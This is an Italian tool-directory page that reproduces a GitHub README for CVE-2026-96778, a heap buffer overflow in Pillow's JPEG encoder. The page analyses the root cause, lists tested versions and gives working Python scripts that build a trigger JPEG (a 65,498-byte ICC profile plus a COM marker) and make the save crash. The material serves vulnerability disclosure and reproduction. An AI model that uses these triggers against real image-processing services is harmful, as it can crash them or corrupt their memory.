Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/paktiko1986/cve-2026-96778-pillow
Memory ForensicsAnalisi delle VulnerabilitàExploitFuzzingPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHub
Condividi
paktiko1986/cve-2026-96778-pillow

CVE-2026-96778-pillow

Proof-of-concept e analisi tecnica per CVE-2026-96778, un heap buffer overflow nell'encoder JPEG di Pillow innescato da un profilo ICC insieme a un marker COM al momento del salvataggio.

Vedi Repository
24 giorni faNon ancora revisionato

CVE-2026-96778 — Heap Buffer Overflow nel codificatore JPEG di Pillow

Status Pillow Fixed Platform

Questo repository contiene una Proof of Concept (PoC), una prova di riproduzione e un'analisi tecnica per CVE-2026-96778, un heap buffer overflow nella libreria Pillow (Python Imaging Library).

Breve riepilogo: il salvataggio ripetuto di un'immagine JPEG che contiene un profilo ICC di dimensioni esatte e un commento (marcatore COM) provoca una scrittura oltre il buffer dell'encoder di 65.536 byte, corrompe i metadati dell'heap e può causare denial of service (crash) fino all'esecuzione di codice.


1. Dettagli della vulnerabilità

CampoValore
CVE IDCVE-2026-96778
Componentesrc/libImaging/JpegEncode.c — ImagingJpegEncode()
Punto vulnerabileRiga 282 (jpeg_write_marker per il marcatore COM)
TipoHeap Buffer Overflow (CWE-122)
Intervallo interessatoPillow 9.4.0 – <13.0.0
Corretto inPillow 13.0.0
ImpattoDoS (SIGSEGV/SIGABRT), potenziale RCE
VettoreLocale / interazione utente (apertura e salvataggio ripetuto dell'immagine)
AdvisoryGHSA-g7cr-3p24-7wf7

2. Analisi della causa principale

2.1 Flusso del codice

  1. JpegImagePlugin._save() calcola la dimensione del buffer di output solo da exif e extra (profilo ICC), senza lasciare spazio per il commento.
  2. _encode_to_file() (src/encode.c:186) alloca un buffer MAXBLOCK = 65.536 byte.
  3. Il profilo ICC di 65.498 byte riempie il buffer esattamente fino all'ultimo byte, quindi free_in_buffer == 0.
  4. Quando viene chiamato jpeg_write_marker() per scrivere il marcatore COM (JpegEncode.c:282), libjpeg scrive prima 1 byte, e solo successivamente decrementa il contatore size_t free_in_buffer.
  5. Poiché il contatore vale 0, il decremento provoca un underflow a ~2⁶⁴. I successivi controlli dei limiti diventano non validi.
  6. Il resto del commento e i dati dell'immagine compressa vengono scritti oltre il limite del buffer, sovrascrivendo la memoria heap circostante.

2.2 Calcolo della dimensione che innesca il problema

ENCODER_BUFFER = 65536          # ImageFile.MAXBLOCK
JFIF_HEADER    = 20             # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD   = 18             # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD    = 65536 - 20 - 18 = 65498   # tepat penuh

Con ICC_PAYLOAD = 65498, il buffer si riempie esattamente fino all'ultimo byte. L'aggiunta di un marker COM (di qualsiasi lunghezza, da 1 a 65533 byte) provoca un overflow.

2.3 Perché i commenti grandi sono più efficaci

Un commento della dimensione massima legale (65.533 byte) fa sì che l'overflow scriva una grande quantità di dati, rendendo il crash più deterministico. Un commento piccolo (ad es. 32 byte) provoca comunque un Invalid write in Valgrind, ma non necessariamente un crash in runtime normale (a seconda del layout dell'heap e dell'allocatore).


3. Ambiente di test

ComponenteValore
OSUbuntu Linux x86_64
KernelLinux 6.x
Python3.12.3
Valgrind3.22.0
libjpeg8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2)
Compilatoregcc 13.3.0
Pillow testato9.4.0, 9.5.0, 13.0.0
Sorgente Pillowbuild da sorgente (pip install -e .)

4. Prova di concetto

4.1 make_trigger.py — Generatore di JPEG trigger

Crea trigger.jpg con un profilo ICC di 65.498 byte e un marker COM.

from PIL import Image
import io, struct

im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()

icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data

def make_app2(payload):
    length = len(payload) + 2
    return b"\xFF\xE2" + struct.pack(">H", length) + payload

def make_com(comment: bytes):
    length = len(comment) + 2
    return b"\xFF\xFE" + struct.pack(">H", length) + comment

assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]

with open("trigger.jpg", "wb") as f:
    f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")

4.2 repro_cve.py — Riproduzione Valgrind-Friendly

from PIL import Image

im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)

im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")

Esegui con Valgrind:

python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log

4.3 poc_advisory.py — PoC di Riferimento (Rilevamento Crash)

Basato sull'advisory ufficiale GHSA-g7cr-3p24-7wf7. Esegue im.save() in un processo figlio e controlla lo stato di uscita (negativo = terminato da un segnale).

#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image

ENCODER_BUFFER = 65536
JFIF_HEADER    = 20
ICC_OVERHEAD   = 18
ICC_PAYLOAD    = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498
COMMENT        = b"C" * 65533

RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""

def segment(marker, payload):
    return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload

def make_jpeg(with_comment):
    noise = random.Random(1234).randbytes(256 * 256 * 3)
    out = BytesIO()
    Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
    plain = out.getvalue()
    icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
    com = segment(0xFE, COMMENT) if with_comment else b""
    return plain[:2] + icc + com + plain[2:]

def resave(jpeg):
    cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
    r = subprocess.run(cmd, input=jpeg, capture_output=True)
    print((r.stdout + r.stderr).decode(errors="replace").strip())
    print(f"-> exit status {r.returncode}")
    return r.returncode

print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))

print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))

if rc < 0:
    print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
    print("BUG")
else:
    print("OK")

5. Prove di Riproduzione

5.1 Riepilogo dei Risultati

Versione PillowSorgente di importazioneValgrindPoC advisoryStato
9.4.0/mnt/Pillow/src/PILInvalid write ×5 + heap corruptBUG (SIGSEGV)VULNERABILE
9.5.0/mnt/Pillow/src/PILInvalid write ×5 + heap corruptBUG (SIGSEGV)VULNERABILE
13.0.0/mnt/Pillow-13/src/PIL0 errorsOKSICURO

5.2 Pillow 9.4.0 — Valgrind

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    624
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    412
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    333
  • 5

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    328
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motore OSINT basato sull'IA per scoprire e mappare oltre 7.700 identità sui social media in tutto il web

    280

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →